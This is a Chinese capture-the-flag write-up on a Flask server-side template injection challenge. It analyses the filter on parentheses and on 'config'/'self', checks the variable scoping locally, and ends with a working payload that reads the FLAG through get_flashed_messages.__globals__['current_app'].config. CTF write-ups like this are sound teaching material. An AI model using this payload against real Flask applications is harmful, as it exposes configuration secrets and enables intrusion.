1. 源码分析
直接访问题目地址,得到一串源代码如下,对其进行分析(注释标出)
import flask import os app = flask.Flask(__name__) # 创建一个该类的实例,第一个参数是应用模块或者包的名称 # __name__ 是一个适用于大多数情况的快捷方式,有了这个参数, Flask 才能知道在哪里可以找到模板和静态文件等东西 app.config['FLAG'] = os.environ.pop('FLAG') # config 实质上是一个字典的子类,可以像字典一样操作 # os.environ:根据一个字符串映射到系统环境的一个对象,在首次导入os模块的时候已经捕获了系统的映射,可以通过os.environ进行更改 # 使用 route() 装饰器来告诉 Flask 触发函数 的 URL @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') # 过滤() blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s # join 以指定字符串 str 作为拼接符,将 seq 中所有的元素合并为一个新的字符串 # str.format() 函数来格式化输出值 return flask.render_template_string(safe_jinja(shrine)) # render_template_string()函数用来渲染模板字符串 if __name__ == '__main__': app.run(debug=True)
由源码可知存在两个限制:
模板字符串中过滤 ( ),将 ( ) 替换为空
{% set {}=None%} 使用模板赋值,将黑名单中的 config、self 置为none
2. 过滤 ( ) 的目的
若不过滤 ( ) ,则可像寻常模板注入,利用 ''.__class__.__base__.__subclasses__() 获取flag
3. 黑名单的实现
''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) 输出为 {% set config=None%}{% set self=None%},即在模板中将 config 和 self 赋值为none
blacklist = ['config', 'self'] print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])) 输出: {% set config=None%}{% set self=None%}
注意:
{% set %} 赋值是在某页面整个模板中都有效,但转换路径后无效
{% set config=None%} 中的 config 变量和 flask 的全局变量不指向同一个(下文验证)
若无黑名单,直接 {{config}} 就能访问到config配置信息中的flag
4. 验证config的指向
4.1 搭建本地环境
安装 flask
可以在 pycharm 中 import 爆红时选择安装
因为代码中存在 app.run,不需要 flask run
更改源代码中的 os.environ.pop,自定义 FLAG 字符串
os.environ 映射到系统环境,本地系统环境中无 FLAG
运行源代码
import flask app = flask.Flask(__name__) app.config['FLAG'] = "qwerasdf" @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): # s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s # return s a = flask.render_template_string(safe_jinja(shrine)) print(id(app.config)) return a if __name__ == '__main__': app.run(debug=True)
运行成功,访问路径已给出
访问 http://127.0.0.1:5000/ 则读取本文件,本地环境搭建成功
4.2 app.config
print(id(app.config))
id为:
4.3 get_flashed_messages.__globals__['current_app'].config
访问:
http://127.0.0.1:5000/shrine/%7B%7Bget_flashed_messages.__globals__['__builtins__']['id'](get_flashed_messages.__globals__['current_app'].config)%7D%7D
id为:
4.4 模板中的 config 变量
访问:
http://127.0.0.1:5000/shrine/%7B%7Bget_flashed_messages.__globals__['__builtins__']['id'](config)%7D%7D
id为:
综上所述:
current_app 指向 app,都是 flask 对象,app.config 和get_flashed_messages.__globals__['current_app'].config 获取到的 config 指向同一地址
{% set %} 模板赋值的 config 变量和 flask 的 config 变量不是同一作用域和命名空间
5. payload
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
lipsum、url_for、get_flashed_messages 三个(全局的)function函数类型都可以
lipsum() :在测试时生成随机文本,默认生成5段HTML文本,每段包含20~100个单词
url_for() :可用于生成视图的 URL ,而不用手动来指定
get_flashed_messages() :返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)
如下图所示,全局对象可以在 pycharm 中通过 debug:app->jinja_env->globals 查看:
必须是 function 类型的原因是因为function的属性中有__globals__
get_flashed_messages.__globals__如下图所示:
(<Flask ‘5’>是因为本地文件为5.py,即__name__为5)
由下图可知,get_flashed_messages.__globals__['current_app'].config 可以访问到config配置信息